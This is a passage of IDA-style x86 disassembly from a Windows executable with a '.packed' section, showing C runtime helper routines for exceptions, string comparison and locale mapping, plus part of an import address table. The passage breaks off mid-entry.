sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266F6 proc near ; DATA XREF: .packed:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: .packed:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: .packed:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426750 proc near ; CODE XREF: sub_40D99B+6Cp jmp dword_4271D8 sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; sub_40E991+14Ap ... jmp dword_42722C sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p jmp dword_42719C sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB9F4, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: .packed:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: .packed:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: .packed:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: .packed:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: .packed:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; .packed:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: .packed:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_42705C ; RaiseException pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB9F4, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB9F4 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DBC4C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi call dword_427050 ; LCMapStringW test eax, eax jz short loc_4269DC mov dword_4DBC4C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CB4EC push edi push esi call dword_427054 ; LCMapStringA test eax, eax jz loc_426B7D mov dword_4DBC4C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DBC4C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427050 ; LCMapStringW jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DBA04 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_42717C ; WideCharToMultiByte mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_42717C ; WideCharToMultiByte test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_427054 ; LCMapStringA mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_427054 ; LCMapStringA test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] call dword_427180 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C9BC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBC50 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call dword_427020 ; GetStringTypeW test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB4EC push esi push edi call dword_427024 ; GetStringTypeA test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DBC50, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427020 ; GetStringTypeW jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DBA04 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_42717C ; WideCharToMultiByte mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_42717C ; WideCharToMultiByte test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB9F4 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call dword_427024 ; GetStringTypeA mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: .packed:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: .packed:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: .packed:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dword_427000 dd 77E75D9Eh ; DATA XREF: sub_40F96A+201r ; sub_416DC8+26r dword_427004 dd 77E6BD68h ; DATA XREF: sub_4261AB+173r dword_427008 dd 77E77F2Eh ; DATA XREF: sub_425F03+3Er ; sub_425F03+261r dword_42700C dd 77E762D0h ; DATA XREF: sub_425F03+5Br ; sub_425F03+B9r dword_427010 dd 77E70192h ; DATA XREF: sub_424F0A+F9r dword_427014 dd 77E7176Ch ; DATA XREF: sub_4247A8+8r dword_427018 dd 77E7339Ch ; DATA XREF: sub_424770+Cr dword_42701C dd 77E7C9E7h ; DATA XREF: sub_424752+5r ; sub_424763+6r dword_427020 dd 77E7C866h ; DATA XREF: sub_423CEC+3Fr ; sub_423CEC+12Dr ... dword_427024 dd 77E641EBh ; DATA XREF: sub_423CEC+59r ; sub_423CEC+8Dr ... dword_427028 dd 77E73FF9h ; DATA XREF: sub_4238DF+2Cr dword_42702C dd 77E7FF2Eh ; DATA XREF: sub_4237B1:loc_423801r ; sub_423828:loc_42387Br dword_427030 dd 77E78406h ; DATA XREF: sub_423302+FFr ; sub_423302+166r ... dword_427034 dd 77E79C3Dh ; DATA XREF: sub_423302+158r ; sub_4235C9+143r dword_427038 dd 77E7C931h ; DATA XREF: sub_423302+19Dr dword_42703C dd 77E77EE1h ; DATA XREF: sub_4231D0+9r dword_427040 dd 77E67702h ; DATA XREF: sub_4231D0:loc_4231FFr ; sub_4231D0+E1r dword_427044 dd 77E7C9E1h ; DATA XREF: sub_4231D0+CEr dword_427048 dd 77E9C5B1h ; DATA XREF: sub_4231D0+11Fr dword_42704C dd 77EB9A84h ; DATA XREF: sub_422CEE+138r dword_427050 dd 77E781F9h ; DATA XREF: sub_422ACA+42r ; sub_422ACA+14Dr ... dword_427054 dd 77E77405h ; DATA XREF: sub_422ACA+5Er ; sub_422ACA+A7r ... dword_427058 dd 77F522F2h ; DATA XREF: sub_422608+58r dword_42705C dd 77E6D706h ; DATA XREF: sub_4210AC+215r ; sub_4268D9+2Er dword_427060 dd 77E6C703h ; DATA XREF: sub_420042+1Ar dword_427064 dd 77E75CB5h ; DATA XREF: sub_40111D+DFr ; sub_401221+7Ar ... dword_427068 dd 77E77963h ; DATA XREF: sub_40111D+B8r ; sub_401221+2DBr ... dword_42706C dd 77E61BB8h ; DATA XREF: sub_40111D+A7r ; sub_401221+2C3r ... dword_427070 dd 77E7A099h ; DATA XREF: sub_40111D+83r ; sub_401221+DAr ... dword_427074 dd 77E704FCh ; DATA XREF: sub_40111D+74r ; sub_401221+C4r ... dword_427078 dd 77E61BE6h ; DATA XREF: sub_40111D+29r ; sub_401221+1F4r ... dword_42707C dd 77E7AC37h ; DATA XREF: sub_401221+3C1r ; sub_401ACD+7BBr ... dword_427080 dd 77E73628h ; DATA XREF: sub_401221+33Br ; sub_401ACD+7871r ... dword_427084 dd 77E706B7h ; DATA XREF: sub_401221+274r ; sub_417275+15r ... dword_427088 dd 77E80656h ; DATA XREF: sub_401221+267r dword_42708C dd 77F5157Dh ; DATA XREF: sub_401221+1D8r ; sub_401221+3E6r ... dword_427090 dd 77E6BD13h ; DATA XREF: sub_401221:loc_4013DCr dword_427094 dd 77E70396h ; DATA XREF: sub_401221+1B5r ; sub_401221+221r ... dword_427098 dd 77E74CABh ; DATA XREF: sub_401221+19Er ; sub_40F6B3+110r ... dword_42709C dd 77E79F93h ; DATA XREF: sub_401221+D3r ; sub_409B12+2r ... dword_4270A0 dd 77E79D5Bh ; DATA XREF: sub_401221+6Br ; sub_401221+311r ... dword_4270A4 dd 77E7C2C4h ; DATA XREF: sub_401221+64r dword_4270A8 dd 77E7751Ah ; DATA XREF: sub_401221+2Cr ; sub_401ACD+2560r ... dword_4270AC dd 77E75CEBh ; DATA XREF: sub_401ACD+7AD7r ; sub_40B231+2Br ... dword_4270B0 dd 77E6AD34h ; DATA XREF: sub_401ACD+69ABr ; sub_418359+35r dword_4270B4 dd 77E71AFEh ; DATA XREF: sub_401ACD+6775r dword_4270B8 dd 77E805D8h ; DATA XREF: sub_409B12+13Ar ; sub_409B12:loc_40A020r ... dword_4270BC dd 77E7A5FDh ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dword_4270C0 dd 77E65F4Ch ; DATA XREF: .packed:0040ADF6r ; sub_419593+34r dword_4270C4 dd 77E7513Ch ; DATA XREF: .packed:0040AE8Dr dword_4270C8 dd 77E7C657h ; DATA XREF: .packed:0040AF01r ; sub_4184E1+32r ... dword_4270CC dd 77E73C49h ; DATA XREF: sub_40B161+4Ar ; sub_40B8A1+1AFr ... dword_4270D0 dd 77F7E300h ; DATA XREF: sub_40C124+142r dword_4270D4 dd 77F7E21Fh ; DATA XREF: sub_40C124+D7r dword_4270D8 dd 77E7C706h ; DATA XREF: sub_40C33C+77r dword_4270DC dd 77F53275h ; DATA XREF: sub_40C33C+6Br ; sub_40C33C+22Fr dword_4270E0 dd 77E79D8Ch ; DATA XREF: sub_40D8AD+94r ; sub_40D99B+181r ... dword_4270E4 dd 77E737DEh ; DATA XREF: sub_40D99B+43Ar dword_4270E8 dd 77E78B82h ; DATA XREF: sub_40D99B+1A9r ; sub_40D99B+499r ... dword_4270EC dd 77E7A837h ; DATA XREF: sub_40D99B+A7r ; sub_40F6B3+1CBr ... dword_4270F0 dd 77E616B4h ; DATA XREF: sub_40E503+19Br ; sub_410CD5+115r ... dword_4270F4 dd 77E79CE3h ; DATA XREF: sub_40E503+111r ; sub_410F1F+77r ... dword_4270F8 dd 77E79C90h ; DATA XREF: sub_40E503+FDr ; sub_40E503+10Ar ... dword_4270FC dd 77E7727Ah ; DATA XREF: sub_40E503+74r ; sub_410E26+23r ... dword_427100 dd 77E64106h ; DATA XREF: sub_40F530+A0r ; sub_41AA42+1B6r dword_427104 dd 77E64006h ; DATA XREF: sub_40F530+8Cr ; sub_41AA42+19Fr dword_427108 dd 77E793EFh ; DATA XREF: sub_40F6B3+1F5r ; sub_40FFF0+38r ... dword_42710C dd 77E78EAAh ; DATA XREF: sub_40F96A+5ECr ; sub_416DC8+C0r ... dword_427110 dd 77E79424h ; DATA XREF: sub_40F96A+280r ; sub_417275+135r dword_427114 dd 77E794BFh ; DATA XREF: sub_40F96A+272r ; sub_417275+123r dword_427118 dd 77E75E67h ; DATA XREF: sub_40F96A+212r ; sub_40F96A+5DBr ... dword_42711C dd 77E78C81h ; DATA XREF: sub_40FFF0+6Cr ; sub_415E1A+259r ... dword_427120 dd 77E76968h ; DATA XREF: sub_410A4D+5Fr dword_427124 dd 77E74C59h ; DATA XREF: sub_410CD5+C7r dword_427128 dd 77EC7C51h ; DATA XREF: sub_4110AA+5Er dword_42712C dd 77E70F89h ; DATA XREF: sub_411C13+Er ; sub_4151AC+Dr ... dword_427130 dd 77E802FCh ; DATA XREF: sub_412B08+18Cr ; sub_412B08+2D4r ... dword_427134 dd 77E6D75Bh ; DATA XREF: sub_412B08+182r ; sub_41386B+FFr dword_427138 dd 77E80618h ; DATA XREF: sub_416F1A+170r ; sub_4185A4+D4r dword_42713C dd 77E78147h ; DATA XREF: sub_416F1A+BCr dword_427140 dd 77F51597h ; DATA XREF: sub_4170EC+41r ; sub_4170EC+F5r ... dword_427144 dd 77F516F8h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar ... dword_427148 dd 77E77CB7h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dword_42714C dd 77E7F01Ah ; DATA XREF: sub_417275+88r ; sub_41741C+55r dword_427150 dd 77E61A54h ; DATA XREF: sub_417275+56r ; sub_41741C+97r dword_427154 dd 77E7C3A5h ; DATA XREF: sub_417275+34r ; sub_41741C+2Er dword_427158 dd 77E76A60h ; DATA XREF: sub_41814C+2Dr dword_42715C dd 